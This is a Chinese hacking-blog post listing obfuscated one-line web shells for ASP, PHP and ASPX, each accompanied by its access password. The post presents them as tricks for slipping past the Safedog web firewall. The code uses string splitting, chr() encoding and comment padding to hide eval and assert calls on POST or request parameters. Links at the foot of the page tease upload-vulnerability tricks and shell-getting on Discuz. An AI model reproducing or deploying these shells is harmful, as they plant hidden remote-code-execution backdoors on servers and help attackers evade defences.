各种过安全狗一句话木马asp,php,aspx一句话

hacker5年前黑客文章1319

几个变性的asp–过防火墙 过狗效果都不错
<%Y=request(“x”)%> <%execute(Y)%>
< %eval (eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))(“sz”))%>

<%eval”"&
(“e”&”v”&”a”&”l”&”(“&”r”&”e”&”q”&”u”&”e”&”s”&”t”&”(“&”0″&”-”&”2″&”-”&”5″&”)”&”)”)%>
密码-7

几个变性的php–过防火墙 过狗效果都不错:
<!–?php $a = str_replace(x,”",”axsxxsxexrxxt”);$a($_POST["sz"]); ?–>
< !–?php $lang = (string)key($_POST);$lang($_POST['sz']); ?–>
< !–?php $k=”ass”.”ert”; $k(${“_PO”.”ST”} ['sz']);?–>
< !–?php $a = “a”.”s”.”s”.”e”.”r”.”t”; $a($_POST["sz"]); ?–>
< !–?php @$_=”s”.”s”./*-/*-*/”e”./*-/*-*/”r”; @$_=/*-/*-*/”a”./*-/*-*/$_./*-/*-*/”t”;
@$_/*-/*-*/($/*-/*-*/{“_P”./*-/*-*/”OS”./*-/*-*/”T”} [/*-/*-*/0/*-/*-*/-/*-/*-*/2/*
-/*-*/-/*-/*-*/5/*-/*-*/]);?–>
密码-7

aspx的 过狗效果不怎么样—不过我认为能支持aspx 百分之8/90支持asp
< %@ Page Language = Jscript %><%var/*-/*-*/P/*-/*-*/=/*-/*-*/”e”+”v”+/*-/*-
*/”a”+”l”+”(“+”R”+”e”+/*-/*-*/”q”+”u”+”e”/*-/*-*/+”s”+”t”+”[/*-/*-*/0/*-/*-*/-/*-/*-
*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]“+”,”+”\”"+”u”+”n”+”s”/*-/*-
*/+”a”+”f”+”e”+”\”"+”)”;eval (/*-/*-*/P/*-/*-*/,/*-/*-*/”u”+”n”+”s”/*-/*-
*/+”a”+”f”+”e”/*-/*-*/);%>
密码-7

<%@ Page Language=”Jscript”%><%eval(Request.Item["sz"],”unsafe”);%>
< script type=”text/javascript” language=”C#”>// <![CDATA[
WebAdmin2Y.x.y aaaaa = new WebAdmin2Y.x.y("add6bb58e139be10");
// ]]></script>
密码是webadmin

标签: 黑客技术

相关文章

总结一些上传漏洞利用方法

1.直接上传asp asa jsp cer php aspx htr cdx 格式的木马,不行就利用IIS6.0解析漏洞”:1.asp;1.jpg/1.asp;.jpg/1.asp;jpg/1.a...

discuz! x2.5爆路径漏洞及后台拿shell

爆路径文件如下: /uc_server/control/admin/db.php /source/plugin/myrepeats/table/table_myrepeats.php /in...

Medusa是不是适用全部电脑操作系统?

Medusa是不是适用全部电脑操作系统?

什么叫Medusa? Medusa为一个规模性平行面,模块化设计,迅速和登陆的野蛮人。目地是适用很多容许远程控制认证的服务项目。该专用工具的关键作用包含根据进程的并行处理检测 - 能够 对好几个服务...

L1080htCrack是完全免费的吗?

L1080htCrack是完全免费的吗?

什么叫L1080htCrack? L1080htCrack是由Mudge最开始建立的修复和登陆密码审批专用工具。它试着从单独的Windows服务中心,主域控制器,连接网络网络服务器或Active D...

HijackThis是不是适用全部电脑操作系统?

HijackThis是不是适用全部电脑操作系统?

什么叫HijackThis? HijackThis这是一个开源系统专用工具,用以检验Microsoft Windows上的广告推送和恶意程序。此专用工具以迅速扫描仪电子计算机显示信息恶意程序的普遍部...

Nessus 5.0 使用指南

参考官方手册 http://static.tenable.com/documentation/nessus_5.0_user_guide.pdf Nessus是世界上最流行的...